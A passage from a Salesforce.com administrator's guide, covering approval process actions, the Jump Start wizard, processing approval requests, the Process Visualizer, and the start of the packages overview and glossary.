Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.

Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.

To manage the final rejection actions for an approval process, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval
Processes and select the approval process.

• The Final Rejection Actions related list shows all the actions that take place when a record is finally rejected.
• Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
• Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.

1467
Create Managing Approval Processes

• Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1469.
• Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:

- Configure the email alert.


- Configure the field update.
- Configure the outbound message.
- Configure the task.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Using the Process Visualizer

Recall Actions

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit recall actions: “Customize Application”

Recall actions are the actions that occur when a submitted approval request is recalled. By default, an action to unlock the
record runs automatically on recall. Recall actions can include email alerts, field updates, tasks, or outbound messages. For
example, a recall action can change the status of a request from “In Progress” to “Not Submitted.”
If the Allow submitters to recall approval requests option is selected for the approval process, both submitters and administrators
can see the Recall Approval Request button in the Approval History related list on the detail page of submitted records;
otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending approval request for the
record is withdrawn and recall actions are run.
When a record has been recalled after submission, Salesforce.com executes all recall actions, including unlocking the record.
You can select up to 40 additional actions to occur when a record is recalled, 10 of each of the following types:

Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.

Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the new
value.

1468
Create Managing Approval Processes

Type Description
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.

To manage recall actions for an approval process, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes,
and select the approval process.
The Recall Actions related list shows all the actions that take place when a record is recalled.

• Click Edit to change an action. Any changes you make to an action affect any other approval processes or workflow rules
that use it. This option is only available for some types of actions.
• Click Remove to remove the action from the approval process. This does not delete the action. This option is only available
for some types of actions.
• Click Add Existing to add another action to the list of actions. See Selecting Approval Actions on page 1469.
• Click Add New and select the appropriate type to create a new action and associate it with the approval process. Next,
configure the action:

- Configure the email alert.


- Configure the field update.
- Configure the outbound message.
- Configure the task.

See Also:
Approval Process Terminology
Getting Started with Approval Processes
Managing Approval Steps
Managing Approval Processes
Using the Process Visualizer

Selecting Approval Actions

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To select approval actions: “Customize Application”

There are four types of approval actions:

Type Description
Task Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and
Due Date of the task.

1469
Create Managing Approval Processes

Type Description
Email Alert Uses an email template you specify to send an email to a designated recipient.
Field Update Changes the value of a selected field. You can specify a value or create a formula for the new
value.
Outbound Message Sends a message to an endpoint you designate. You can also specify a username and the data
you want to include in the message.

You can associate approval actions with approval steps, initial submission, final approval, final rejection, and recall. You can
also reuse these actions for workflow rules. Before you begin, click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval
Processes and select the approval process you want associated with the actions.
To select an approval action:

1. Click Add Existing from the appropriate related list on the detail page of any approval process. If the Add Existing button
does not appear on an approval step, click Show Actions.
Alternatively, click Add New to create a new action and apply it to the selected approval process. For instructions on
creating actions, see Creating Approval Actions on page 1471.
2. Choose the type of action.
3. Select the action in the list of available actions and click Add to add the action to the list of selected actions.
4. Click Save.

Note: On the detail page of an approval process, click View Diagram to open the Process Visualizer. It presents a
graphical version of the steps and actions that comprise the approval process.

See Also:
Managing Workflow and Approvals
Managing Approval Processes
Approval Processes Overview
Approval Process Terminology
Using the Process Visualizer

1470
Create Managing Approval Processes

Creating Approval Actions

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval actions: “Customize Application”

Create approval actions to associate with approval steps, initial submission, final approval, final rejection, or recall. For example,
you may have an expense approval process in Salesforce.com that you want to send an outbound message to your Oracle
accounting service to print expense checks when expense approval requests are approved.
To create an approval action:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes.


2. Select the approval process you want associated with the action.
3. Click Add New from the appropriate related list. When creating actions for an approval step, click Show Actions if they
are hidden.
4. Choose the type of action. The list of available actions differs depending on your settings and whether you have reached
the limit for any type of action:

• Configure the email alert.


• Configure the field update.
• Configure the outbound message.
• Configure the task.

Note: The actions you create for approval processes can be reused in workflow rules.

See Also:
Managing Workflow and Approvals
Managing Approval Processes
Approval Processes Overview
Approval Process Terminology
Using the Process Visualizer

1471
Create Managing Approval Processes

Using the Approval Process Jump Start Wizard


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes: “Customize Application”

The Approval Process Jump Start Wizard helps you create a simple one-step approval process in just a few clicks. However,
to make your process as functional and complete as possible, there are a few things you should do first:

1. If you would like to automate approval routing, you can use the standard manager field, or create a custom hierarchy field
on the user object.
2. Create an email template to notify an approver that they need to approve or reject a step in an approval process. Remember
to add approval merge fields so an approver can go to the approval page directly from the email. If your organization has
enabled email approval response, be sure the email template you use describes how to correctly use both response options:
clicking the link and replying by email. For information on email templates, see Managing Email Templates on page 423.
For information on email approval response, see Customizing Workflow and Approval Settings on page 1410.
3. Create an email template as confirmation to a record owner that a step of theirs in the approval process has been approved
or rejected.
4. Create the workflow actions you want to occur while a record is in the process of being approved. For more information,
see Managing Workflow and Approvals on page 1399.

Design your approval process quickly using the jump start wizard. It automates the process of creating an approval process by
choosing some default options for you. For a list of the options the jump start wizard chooses automatically, see Approval
Process Jump Start Default Selections on page 1475.
To use the jump start wizard to create an approval process:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes.


2. Choose the object for the new approval process.
3. Click Create New Approval Process and choose Use Jump Start Wizard from the drop-down button.
4. Enter a name for the new approval process.
5. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for managed package
installations. The requirement for uniqueness is only within the selected object type. You can have actions of the same type
(for example, two email alerts) with the same unique name, provided they are defined for different objects, such as one for
Campaigns and one for Opportunities. The Unique Name field can contain only underscores and alphanumeric characters.
It must be unique within the selected object type, begin with a letter, not include spaces, not end with an underscore, and
not contain two consecutive underscores.
6. Choose a custom email template to use when notifying approvers that an approval request is assigned to them, or leave
this field blank to use the default email template. Each approval process uses a single email template for all steps. For more
information on creating email templates, see Managing Email Templates on page 423.

1472
Create Managing Approval Processes

Note: If email approval response is enabled, be sure the email template you use describes how to correctly use both
response options: clicking the link and replying by email. If the user does not respond correctly (for example, if the
user misspells approve or types it on the wrong line), Salesforce.com does not register the user's response.
If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name},
these fields will return values only when that email template is used as the approval assignment template. If you
use the template for any other email alert action—in either workflow rules or approval processes—the merge fields
will return a null value.

7. Select Add Approval History Related List... to update all the page layouts for this object to include a related
list that allows users to submit approval requests and track them.
8. If only certain types of records should enter this approval process, do one of the following:

• Select criteria are met if you want to set a filter criteria that a record must meet to enter this approval process.
For example, if only employees from headquarters should use this approval process to submit expense reports, enter
the following filter criteria: “Current User: Office Location Equals Headquarters.” For more information on using filter
criteria, see Entering Filter Criteria on page 2163.
a. Enter your filter criteria for records that you want included in this approval process. Leave the filter blank if you
want all records submitted to be included in the approval process. For information on using filter criteria, see
Entering Filter Criteria on page 2163.
Note: Select a current user field if you want the filter based on the user submitting an approval request.

b. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to
store your changes.

• Select formula evaluates to true if you want a formula to determine what records enter the approval process.

a. Enter a formula that returns “True” or “False.” A record enters the approval process if the formula returns “True.”
For example, use the following formula to require a record to enter this approval process when the record's discount
approval cutoff date is less than 30 days away:

(Discount_Approval_CutoffDate__c < (CloseDate - 30)

b. Click Next. If you are editing an existing approval process and do not want to make further changes, click Save to
store your changes.

For information on using formulas, see Building Formulas on page 878. Some functions are not available in approval
process formulas. For information on which functions you can use in approval process formulas, see Operators and
Functions on page 931.

9. Select the assigned approver(s) for approval requests created by this step. The assigned approvers are the users or members
of a queue responsible for approving records that enter this step. The options are:
Let the submitter choose the approver manually.
Prompts the user to manually select the next approver.

Automatically assign an approver using a standard or custom hierarchy field.


Assigns the approval request to the user in the field displayed in this option. For example, you may want approval
requests automatically routed to a user's manager as specified in the Manager standard user hierarchy field.

1473
Create Managing Approval Processes

Alternatively, you may want approval requests automatically routed to an associate specified in a custom Account
Manager user field.

To create a new custom field, click Create New Field from this option. For information on creating a custom
field, see Creating Custom Fields on page 812.

Automatically assign to a queue.


Assigns the approval request to a particular queue. Queues are only available on specific objects. For more information
on queues, see Managing Queues on page 500. For more information on approval requests assigned to queues, see
Approval Process Considerations on page 1452.

Automatically assign to approver(s).


Assigns the approval request to one or more of the following:
User
Any Salesforce.com user in your organization.

Related User
A user specified in any user lookup field on the submitted record, such as the Last Modified By field.
Use Add Row and Remove Row to change the number of approvers. There is a limit of 25 approvers per step.

Note: When specifying approvers, note the following:

• Make sure the assigned approvers have permission to read the records for the approval request. For example,
a user who does not have read access to an Expense custom object can't view expense approval requests.
• You can't assign approval requests to partner users.
• You can't use email approval response with an approval process in which a queue is the assigned approver.
• You can assign an approval request to the same user multiple times in a single step; however, Salesforce.com
recognizes such redundancies and only requests a single approval from the user.
• After a record enters an approval step, the designated approvers for that step don't change even if the approval
process returns to that step and the values of related user fields that designate the approvers have changed. For
example, consider an approval process in which the first step requests approval from a user's manager. If the
approval request is rejected in the second step and sent back to the first step, the user's original manager receives
the approval request again even if the user's manager has changed.

10. If you specify multiple approvers in the Automatically assign to approver(s) option, choose one of the following:
Approve or reject based on the first response.
The first response to the approval request determines whether the record is approved or rejected.

Require unanimous approval from all selected approvers.


The record is only approved if all of the approvers approve the request. The approval request is rejected if any of the
approvers reject the request.
11. Click Save to return to the Approval Process Detail page.
12. Select approval actions. For more information, see Selecting Approval Actions on page 1469.
13. When you are ready to use the approval process, activate it:

a. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes.

1474
Create Managing Approval Processes

b. Click Activate next to an inactive process to activate it.

See Also:
Choosing an Approval Process Wizard
Creating Approval Processes
Examples of Approval Processes
Using the Process Visualizer

Approval Process Jump Start Default Selections

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create approval processes: “Customize Application”

The jump start wizard automates creating an approval process by automatically choosing some default options for you. When
you use the jump start wizard, your approval process will have the following attributes:

• Users must have the “Modify All” object-level permission for the given object, or the “Modify All Data” permission, to
edit records that are awaiting approval in the approval process.
• The approval request page layout displays the record name (or number), owner, date created, and approval history.
• The security settings prevent an approver from accessing the approval page externally from a wireless-enabled mobile
device.
• The owner of a record is the only person who can submit an approval request.
• Records are locked when submitted for approval.
• Records remain locked until approved or rejected.
• Rejected records are unlocked.
• Only administrators can recall a record after it is submitted for approval.
• There are no auto-approve or auto-reject actions.
• No email notification is sent upon approval or rejection.
• No field values are automatically updated during the approval process.
• An approver cannot automatically delegate another user to approve his or her approval requests.
• The Allow submitters to recall approval requests option is not selected.

After creating an approval process using the jump start wizard, you can change any of the above attributes by clicking Edit
from any approval process list page, and you can add additional steps from the approval process detail page. However, you
cannot edit the Record Lock action on the Initial Submission Actions list.

1475
Create Processing Approval Requests

Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a
flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria, and
actions that comprise your approval process.

See Also:
Using the Approval Process Jump Start Wizard
Choosing an Approval Process Wizard

Processing Approval Requests


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To approve, reject, or reassign approval requests: Permissions vary depending on the approval process settings

Your administrator can set up an approval process that allows you to submit records for approval. Depending on the approval
process settings, records may need to have specific attributes before you can submit them. Also, a single record may need to
go through several layers of approval.
Depending on the approval process settings, you can submit, recall, reassign, approve, or reject approval requests using the
Approval History related list on a record detail page; see Approval History on page 1478. You can also manage your assigned
approval requests from the Items To Approve related list on the Home tab; see Items To Approve on page 1477.

Approving Requests
If you are the assigned approver for an approval request, you will receive an email notification. To approve requests:
1. Click the link supplied in the email notification for an approval request. If there is no link in the email notification, contact
your administrator.
2. Click Approve.
3. Enter any comments you want attached to the approval request.
4. When available, select the next approver.
5. Click Approve.
If email approval response is enabled, you can alternatively reply to the email notification by typing the word approve,
approved, or yes in the first line of the email body, and optionally adding comments in the second line.
Note: Approval request comments are limited to 4,000 characters. In Chinese, Japanese, or Korean, the limit is 1,333
characters.

Rejecting Requests
If you are the assigned approver for an approval request, you will receive an email notification. To reject requests:
1. Click the link supplied in the email notification for an approval request. If there is no link in the email notification, contact
your administrator.

1476
Create Processing Approval Requests

2. Enter any comments you want attached to the approval request.


3. Click Reject.
If email approval response is enabled, you can alternatively reply to the email notification by typing the word reject,
rejected, or no in the first line of the email body, and optionally adding comments in the second line.
Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record.

See Also:
Approval Process Terminology
Approval Processes Overview
Managing Multiple Approval Requests
Using the Process Visualizer

Items To Approve
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use the Items To Approve related list: Permissions vary depending on the approval process settings

The Items To Approve related list tracks the open approval requests assigned to you. If your administrator has created an
approval process for your organization, you may see this related list on your home page. Depending on the approval process
settings, you can:

• Click an approval request to view more details about it.


• To assign the approval request to another user, click Reassign next to an item.
• To display the approval request detail page and approve or reject a pending approval request, click Approve / Reject next
to an item.
Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that
record.

• Click Manage All to manage all of your assigned approval requests. Next, select approval requests by checking the appropriate
boxes. Optionally, check the box in the column header to select all currently displayed items.

- Click Reassign to assign the selected approval requests to another user, choose the user, enter any comments, and click
Save.
- Click Approve / Reject to display the approval request detail page and click Approve or Reject to approve or reject
all selected approval requests at once.

1477
Create Processing Approval Requests

Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that record.

See Also:
Processing Approval Requests
Approval Process Terminology
Approval Processes Overview
Managing Multiple Approval Requests

Approval History
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To use the Approval History related list: Permissions vary depending on the approval process settings

The Approval History related list tracks a record through the approval process. If an approval process exists for an object, you
may see this related list on a record detail page. Depending on the approval process settings, use this related list for the following:

• To submit a record for approval, click Submit for Approval. Salesforce.com begins the approval process if any approval
processes apply to the record. This option is not available after the record has been submitted. Depending on the approval
process, you may be prompted to select the next approver.
• To take a record out of the approval process, click Recall Approval Request. This is only available if the record is in an
approval process. If the Allow submitters to recall approval requests option is selected for the approval process, both
submitters and administrators can see the Recall Approval Request button in the Approval History related list on the
detail page of submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request,
the pending approval request for the record is withdrawn and recall actions are run. For more information, see Recall
Actions on page 1468.
• To assign the approval request to another user, click Reassign next to an item.
• To display the approval request detail page and approve or reject a pending approval request, click Approve / Reject next
to an item.
Note: You must have read access on a record to approve, reject, reassign, or recall an approval request for that
record.

Depending on how your administrator customizes the Approval History related list, it can contain the following Status
values:

Status Definition
Submitted The record has been submitted for a approval.

1478
Create Using the Process Visualizer

Status Definition
Pending The record has been submitted for approval and is awaiting
approval or rejection.
Approved The record has been approved.
Rejected The record has been rejected.
Reassigned The record has been submitted for approval but assigned to a
different approver.
Recalled The record was submitted for approval but recalled from the
approval process.

Before you can submit a record for approval, it must meet the criteria for an active approval process. Contact your administrator
to find out about the attributes a record must have to be included in an active approval process for your organization.

See Also:
Processing Approval Requests
Approval Process Terminology
Approval Processes Overview
Using the Process Visualizer

Using the Process Visualizer


Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed


To view approval steps: “View Setup and Configuration”

You can use the Process Visualizer to:

• Display a flowchart of each saved approval process


• Improve communication about the approval process and gain buy-in from step owners
• Reinforce your company's policies by documenting the decisions you reached when the approval process was designed
• Print an annotated version of the approval process, where numbers added to the diagram correspond to details in a table,
which is included in the printable view
• Share approval process diagrams by saving annotated versions as PDF files (requires an Adobe® PDF print driver)
• Help you quickly locate key details by searching multi-step or complex diagrams for matching text
• Help you visualize and understand graphically:

- The steps necessary for a record to be approved


- The designated approvers for each step
- The criteria used to trigger the approval process

1479
Create Using the Process Visualizer

- The specific actions to take when a record is approved, rejected, recalled, or first submitted for approval

See Also:
Launching the Process Visualizer
Understanding the Process Visualizer User Interface
Understanding the Process Visualizer Notation
Getting Started with Approval Processes

Launching the Process Visualizer


Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed


To view approval steps: “View Setup and Configuration”

Before you can use the Process Visualizer, you must:

• Enable or download the Adobe Flash Player plugin, version 9.0.115 or later, in your browser
• Have at least one approval process defined in your organization

After completing the prerequisites:

1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Approval Processes.


2. Click the name of the approval process you want to view.
3. On the detail page for the approval process, click View Diagram.

Each approval process diagram is for viewing purposes only. You cannot update an approval process from the Process Visualizer.
After saving your changes to the approval process, click View Diagram to view the updates or, if the Process Visualizer window
is still open, click Refresh.

See Also:
Understanding the Process Visualizer User Interface
Understanding the Process Visualizer Notation
Using the Process Visualizer

1480
Create Using the Process Visualizer

Understanding the Process Visualizer User Interface


Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed


To view approval steps: “View Setup and Configuration”

This topic contains the following sections:

• About the Process Visualizer UI


• Displaying Hover Details for an Approval Process Diagram
• Displaying Approval Process Properties
• Printing Diagrams and Saving PDFs
• Finding Text in a Diagram on page 1483
• Refreshing an Approval Process Diagram
• Changing an Approval Process Diagram's Zoom Level
• Using the Navigator

About the Process Visualizer UI


The user interface for the Process Visualizer has several functional areas.

Figure 14: Process Visualizer User Interface

The highlighted numbers in the illustration correspond to the following descriptions:


1. The main area contains the approval process diagram, helping you visualize the overall flow, rules, actions, and dependencies.
The diagram's orientation is top-to-bottom, left-to-right. The entry criteria for the approval process are shown at the top

1481
Create Using the Process Visualizer

of the diagram. Record processing moves down the flowchart until the final approval or rejection. Each flowchart component
uses a shape, an icon, or both to represent the type of processing that may happen.
2. The diagram's legend summarizes the icons. When you first use the Process Visualizer, the legend is hidden. To display
the legend, click Show Legend. When you subsequently open other diagrams, the Process Visualizer remembers your last
setting (shown or hidden).
3. The banner has a find box so you can find matching text within the approval diagram. Use the Previous and Next buttons
to scroll through your matches.
4. Next to the diagram is an informational sidebar. The top pane in the sidebar presents the Approval Process Properties,
which is collapsed by default. The Approval Process Properties pane lists information such as the name of the approval
and whether it has been activated. Expand the pane by clicking the arrow icon.
5. The bottom pane of the sidebar contains the hover details, which lists information about the currently selected component
on the diagram. You can hover over or click a component to view its details.
6. In the lower right of the diagram pane is a navigator window. Drag the pane within the navigator to view different parts
of the diagram.
7. In the upper left of the diagram pane is a zoom slider. Use it to zoom in and out of your process diagram.
8. In the left side of the banner, use the buttons to get a printable view of the diagram, to refresh the diagram, or to hide or
show the legend and navigator.

Displaying Hover Details for an Approval Process Diagram


When you hover over or click a flowchart component, the Process Visualizer displays information about it in the sidebar,
which remains there until you hover over or click a different component.
The following table lists the type of information you can see in the hover details.

Component Type Hover Detail Message Formats


Approval steps Approval required from:
• User: user-name
• Role: role-name
Or if defined for the step, one of the following values:
• Submitter can choose approver
• Automatically assigned to Manager field
• Unanimous approval required from: approver-1,
approver-n...
• Approval based on first response from: approver-1,
approver-n...
• Related User: object-name Owner
• The approver's delegate may also approve this request
Description:
Field updates • Update field-name with lookup value: lookup-value
• Update field-name with value: value
• Update field-name with formula: formula

Email alerts Send (email-template) email to recipient-1,


recipient-n... and additional recipients: cc email
field of email alert

Tasks Assign task to assignee with due date: date

1482
Create Using the Process Visualizer

Component Type Hover Detail Message Formats


Outbound messages Send to endpoint endpoint-url the following fields:
field-1, field-n,...

Displaying Approval Process Properties


In the sidebar, the Approval Process Properties pane lists the information shown in the following table. Click the arrow to
expand or collapse it. When you subsequently open other diagrams, the Process Visualizer remembers your last setting (expanded
or collapsed).

Property Description
Process Name A user-defined name of the approval process.
Entry Criteria? Appears only when there are no entry criteria for the process,
displaying with a “No” value.
Active? Indicates whether the approval process is active.
Description The description of the approval process.
Record Editability Shows the defined value for this property. For example:
Administrator or current approver.
Next Automated Approver Determined By Shows the value for this property. For example: Manager of
Owner
Approval Assignment Email Template The name of the template used for email alerts. For example:
Leads: New assignment notification (SAMPLE)
Initial Submitters Shows the defined value for this property. For example: Record
Owner
Allow Submitters to Recall Approval Requests? Shows the defined value, Yes or No, for this property.
Created By The name of the person who created the approval process.
Modified By The name of the last person to modify the approval process.

Printing Diagrams and Saving PDFs


To print an annotated version of the diagram, click Printable View. In this view, the numbers on the diagram correspond to
details shown in a table directly below it. Use the printed or PDF version of the diagram to communicate information about
the approval process, get buy-in from the people who participate in the approval decisions, and help the approval process users
understand the requirements and flow. Click Print and select a printer. If you have an Adobe PDF print driver installed, you
can save the printable view as a PDF file. To return to the diagram, click Exit Printable View.

Finding Text in a Diagram


Use the find function in the Process Visualizer banner to find detailed information quickly. This is helpful when you view a
diagram with ten or more steps, complex formulas, or the names of many people or roles on the approvers' lists. You can find
matching text within the diagram and the Approval Process Properties pane, and view the results highlighted in the sidebar.
The number of matches is displayed beside the Previous and Next buttons, which you can use to scroll through your matches.
Find is case insensitive, and treats the search terms as a phrase in quotes.

1483
Create Using the Process Visualizer

Use the find filters to limit results to a specific parameter: Approval Steps, Tasks, Email Alerts, Field Updates, and Outbound
Messages. Click the arrow next to the Find field to select a filter. For example, to find all tasks for Jane Smith, click the
arrow next to the Find field, select Tasks, then enter Jane Smith.
Note: All is the only filter that includes Approval Process Properties, Entry Criteria, and Go Back steps in its search
parameters. If you select a filter but don't enter any text, all instances of that filter item are highlighted in the diagram
and navigation pane.

Refreshing an Approval Process Diagram


Each approval process diagram is for viewing purposes only. You cannot update an approval process from the Process Visualizer.
After saving your changes to the approval process, click View Diagram to view the updates or, if the Process Visualizer window
is still open, click Refresh.

Changing an Approval Process Diagram's Zoom Level


Use the zoom slider in the upper left to change the diagram's size. Click + to zoom in, and — to zoom out, or drag the slider
tab up and down the bar. This feature is especially helpful when you are viewing large, complex approval processes in the
Process Visualizer.
Note: The zoom feature is only visible for diagrams that exceed the dimensions of the display window.

Using the Navigator


Click and drag the pane around the navigator window to quickly view different areas of a large approval process diagram.
When you use the find feature, the navigator window changes to highlight the matches, which allows you to see items not
visible in the main diagram display area. The navigator also reflects changes to the size of the diagram in the main display
when you use the zoom slider.

See Also:
Launching the Process Visualizer
Understanding the Process Visualizer Notation
Using the Process Visualizer

Understanding the Process Visualizer Notation


Available in: Enterprise, Unlimited, and Developer Editions

User Permission Needed


To view approval steps: “View Setup and Configuration”

The Process Visualizer uses the following notation to graphically represent each approval process. The shapes are based on
the Business Process Modeling Notation (BPMN) standard. In the Process Visualizer, a shape's color changes from gray to
blue when you hover over or click it.

1484
Create Using the Process Visualizer

Icon and Shape Examples Description


Near the top of the diagram, a Start circle indicates the beginning of the approval process.
If defined, an Entry Criteria diamond precedes the Start circle. When you hover over
or click Entry Criteria, the Process Visualizer displays the entry criteria in the sidebar's
hover details pane. For example, an approval process for a lead is triggered when
Lead.AnnualRevenue >= 10000. The arrow below the Start circle leads to the next
criteria in the approval process. If a recall action was defined for the entry criteria, a line to
the right connects to the Final Recall Actions rectangle.

The rectangle labeled Initial Submission Actions represents any actions you defined
in initial submission. At a minimum, this element shows the record lock set automatically
by Salesforce.com to prevent updates by other users. Later during the approval process, after
the record is approved, rejected, or recalled, the record is unlocked.

A diamond with Yes or No branches represents the numbered step's criteria or formula that
is evaluated before proceeding. Hover over or click the diamond to see the criteria or formula
in the sidebar's hover details. For example, the criteria could be used to determine whether
the Lead.Rating = Hot. If true, the approval process continues to the next step on the
Yes branch. If false, the approval process continues to the next step on the No branch.

A rectangle containing a human icon, represents an approval step. The Approved path
includes a small diamond. The Rejected path uses a backslash.

1485
Create Using the Process Visualizer

Icon and Shape Examples Description


A rectangle without a human icon or a plus sign represents a single action. The action types
and icons are:

Send an email alert:

Start a task:

Perform a field update:

Send an outbound message:

In this example, a task has been assigned. When you hover over or click the rectangle, look
for more information in the sidebar's hover details.

A rectangle with a plus sign (+) represents multiple actions. The actions shown inside are
performed simultaneously, as a unit. To expand the display and view the individual actions,
click the plus sign. In the expanded display, the Process Visualizer displays the individual
actions, one per rectangle.

When you hover over or click a shape on the diagram, and it is part of a step, all the elements
that comprise the step use a glowing background color. This visual clue helps you locate all
the decisions and actions that comprise each step, and how the processing may branch based
on the record's values.

1486
Create Using the Process Visualizer

Icon and Shape Examples Description


In the approval process definition, if the option was enabled to perform only the rejection
actions for this step and send the approval request back to the most recent approver. (go back
one step), the diagram displays a Go Back circle. When you hover over or click the Go Back
circle, the hover details pane displays a message. For example:
On rejection send the request back to any one of the following
steps, depending on the most recent approver: - list-of-steps. If
no approvers are found, the request goes to Final Rejection.

The identified steps depend on where in the approval process the Go Back was defined. The
possible steps are highlighted when you hover over the Go Back circle. In the diagram, the
Process Visualizer displays the Go Back circle only for a step where its preceding step is
defined as a skip.

The Final Approval Actions rectangle leads to a circle labeled Approved, as shown
here. The Final Rejection Actions rectangle leads to a circle labeled Rejected. If
a recall action was defined, the Final Recall Actions rectangle shows that the record
is now unlocked, and the arrow leads to a circle labeled Recalled.

See Also:
Launching the Process Visualizer
Understanding the Process Visualizer User Interface
Using the Process Visualizer

1487
Create Overview of Packages

PACKAGES

Overview of Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages: “Create AppExchange Packages”
To upload packages to the AppExchange: “Upload AppExchange Packages”

A package is a container for something as small as an individual component or as large as a set of related apps. After creating
a package, you can distribute it to other Salesforce.com users and organizations, including those outside your company.
Packages come in two forms—unmanaged and managed:
Unmanaged packages
Unmanaged packages are typically used to distribute open-source projects or application templates to provide developers
with the basic building blocks for an application. Once the components are installed from an unmanaged package, the
components can be edited in the organization they are installed in. The developer who created and uploaded the
unmanaged package has no control over the installed components, and can't change or upgrade them. Unmanaged
packages should not be used to migrate components from a sandbox to production organization, instead use Change
Sets on page 1677

Managed packages
Managed packages are typically used by salesforce.com partners to distribute and sell applications to customers. These
packages must be created from a Developer Edition organization. Using the AppExchange and the License Management
Application (LMA), developers can sell and manage user-based licenses to the app. Manage packages are also fully
upgradeable. To ensure seamless upgrades, certain destructive changes like removing objects or fields may not be performed
in a managed package.
Managed packages also offer the following benefits:

• Intellectual property protection for Apex.


• Built-in versioning support for API accessible components
• Remote access support (OAuth)
• The ability to branch and patch a previous version
• The ability to seamlessly push patch updates to subscribers
• Unique naming of all components to ensure conflict free installs

The following definitions illustrate these concepts:

1488
Create Overview of Packages

Figure 15: Unmanaged and Managed Packages

Components
A component is one constituent part of a package. It defines an item, such as a custom object or a custom field. You can
combine components in a package to produce powerful features or applications. In an unmanaged package, components
are not upgradeable. In a managed package, some components can be upgraded while others cannot.

Attributes
An attribute is a field on a component, such as the name of an email template or the Allow Reports checkbox on a
custom object. On a non-upgradeable component in either an unmanaged or managed package, attributes are editable
by both the developer (the one who created the package) and the subscriber (the one who installed the package). On an
upgradeable component in a managed package, some attributes can be edited by the developer, some can be edited by
the subscriber, and some are locked, meaning they cannot be edited by either the developer or subscriber.

For information on which components can be included in a package and which attributes are editable for each component,
see the Force.com Quick Reference for Developing Packages.
Packages consist of one or more Salesforce.com components, which, in turn, consist of one or more attributes. Components
and their attributes behave differently in managed and unmanaged packages.
If you plan to distribute an app, it is important to consider packaging throughout the development process. For example:

• While creating your app, consider how components and their attributes behave in different packages and Salesforce.com
editions.
• While preparing your app for distribution, consider how you want to release it to your customers.
• While installing a package, consider your organization's security and license agreements.

It is also helpful to familiarize yourself with general packaging information, such as:

• Package Distribution FAQs


• Glossary

See Also:
Managing Packages
Preparing Your Apps for Distribution

1489
Create Glossary

Glossary
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

The following terms and definitions describe key application and packaging concepts and capabilities:
App
Short for “application.” A collection of components such as tabs, reports, dashboards, and Visualforce pages that address
a specific business need. Salesforce.com provides standard apps such as Sales and Call Center. You can customize the
standard apps to match the way you work. In addition, you can package an app and upload it to AppExchange along
with related components such as custom fields, custom tabs, and custom objects. Then, you can make the app available
to other Salesforce.com users from AppExchange.

AppExchange
AppExchange is a sharing interface from salesforce.com that allows you to browse and share apps and services for the
Force.com platform.

Beta, Managed Package


In the context of managed packages, a beta managed package is an early version of a managed package distributed to a
sampling of your intended audience to test it.

Deploy
To move functionality from an inactive state to active. For example, when developing new features in the Salesforce.com
user interface, you must select the “Deployed” option to make the functionality visible to other users.
The process by which an application or other functionality is moved from development to production.
To move metadata components from a local file system to a Salesforce.com organization.
For installed apps, deployment makes any custom objects in the app available to users in your organization. Before a
custom object is deployed, it is only available to administrators and any users with the “Customize Application” permission.

Deprecated Component
A developer may decide to refine the functionality in a managed package over time as the requirements evolve. This may
involve redesigning some of the components in the managed package. Developers cannot delete some components in a
Managed - Released package, but they can deprecate a component in a later package version so that new subscribers do
not receive the component, while the component continues to function for existing subscribers and API integrations.

License Management Application (LMA)


A free AppExchange app that allows you to track sales leads and accounts for every user who downloads a managed
package of yours from AppExchange.

License Management Organization (LMO)


The Salesforce.com organization that you use to track all the Salesforce.com users who install your package. A license
management organization must have the License Management Application (LMA) installed. It automatically receives
notification every time your package is installed or uninstalled so that you can easily notify users of upgrades. You can
specify any Enterprise, Unlimited, or Developer Edition organization as your license management organization. For
more information, go to http://www.salesforce.com/docs/en/lma/index.htm.

1490
Create Glossary

Major Release
A significant release of a package. During these releases, the major and minor numbers of a package version increase to
any chosen value.

Managed Package
